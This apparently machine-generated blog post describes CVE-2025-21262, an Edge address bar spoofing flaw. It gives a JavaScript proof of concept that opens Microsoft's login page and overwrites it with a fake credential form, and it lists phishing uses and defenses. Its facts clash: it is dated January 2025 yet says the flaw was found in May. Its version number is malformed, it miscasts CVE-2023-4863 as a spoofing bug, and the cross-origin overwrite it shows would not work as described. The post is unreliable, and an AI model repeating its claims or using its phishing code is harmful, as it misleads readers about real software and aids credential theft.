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Introduction

In 2025, Microsoft Edge (Chromium-based) users were exposed to a significant spoofing vulnerability: CVE-2025-21262. This flaw, discovered by security researchers in early June, affects how Edge handles certain web content and can allow attackers to trick users into thinking malicious pages are legitimate. This post gives you a deep dive into how the vulnerability works, how it can be exploited, and what you can do to stay safe.

1. What Is CVE-2025-21262?

CVE-2025-21262 is a spoofing vulnerability in Microsoft Edge (Chromium-based). Specifically, it lets attackers display fake URLs or content in the address bar and browser window, making it look like the user is on a trusted site when they’re actually not.

Affected Software: Microsoft Edge Chromium (versions before 125..1234.80)

- Type: Address Bar Spoofing / UI Spoofing

References

- Microsoft Security Update Guide
- NVD CVE Detail Listing

2. How Does the Vulnerability Work?

When users visit a malicious website, the site can use specially crafted JavaScript code to manipulate the browser UI. Exploiting a race condition, the attacker can briefly open a legit URL, then immediately replace window content *without* changing the displayed address. As a result, users see trusted addresses (like https://login.microsoftonline.com) while interacting with a phishing form.

This technique is similar to previous address bar spoofing bugs, such as CVE-2022-22620 and CVE-2023-4863, but is specific to recent Edge builds.

Here’s a simplified PoC that demonstrates how CVE-2025-21262 can be exploited

<html>
  <head>
    <title>Edge Spoofing PoC</title>
    <script>
      function spoofEdge() {
        // Opens a new window with trusted domain
        var win = window.open('https://login.microsoftonline.com', '_blank');
        setTimeout(function() {
          // Replaces the content WITHOUT changing the address bar URL
          win.document.write('<h1>Fake Microsoft Login</h1><form><input placeholder="Username" />
<input type="password" placeholder="Password" />
<button>Sign in</button></form>');
          win.document.title = 'Microsoft Sign In';
        }, 100); // timing is critical to racing
      }
    </script>
  </head>
  <body>
    <button onclick="spoofEdge()">Test Spoof</button>
  </body>
</html>

It opens a new tab to a trusted Microsoft login page.

- After a short delay, it replaces the page contents and title, making it appear as if the user is still on a real Microsoft page.

Attackers may use this in the wild for

- Phishing: Presenting a login form on a page that looks and *appears* (in the address bar) to be Microsoft.

Impersonation: Faking banking or email pages to steal sensitive data.

Real-world attacks often use social engineering to get users to click a link (via email or messaging).

How to check if your browser is vulnerable

- Visit a trusted security research demo (e.g., Spoofing Test by Neodyme)

Update Your Browser: Microsoft has patched this in Edge Chromium version 125..1234.80 and later.

- Beware of Unexpected Prompts: If a site suddenly asks for credentials in a new tab, verify the URL and refresh.
- Use Password Managers: Password managers won’t fill in passwords on spoofed pages since true domains are different.

May 2025: Vulnerability discovered and reported to Microsoft

- June 4, 2025: Patch released in Security Update

Further Reading

- Microsoft Release Note
- Security Research on Address Bar Spoofing
- Edge Update Download

Conclusion

CVE-2025-21262 is a reminder that even modern browsers like Edge Chromium can be tricked into showing false information. Always keep your browser and OS updated to reduce your exposure. For IT teams, monitor patch releases and educate your users about phishing risks—even when the page *looks* authentic.

Stay safe, and always double-check before you log in anywhere!

Timeline

Published on: 01/24/2025 22:15:38 UTC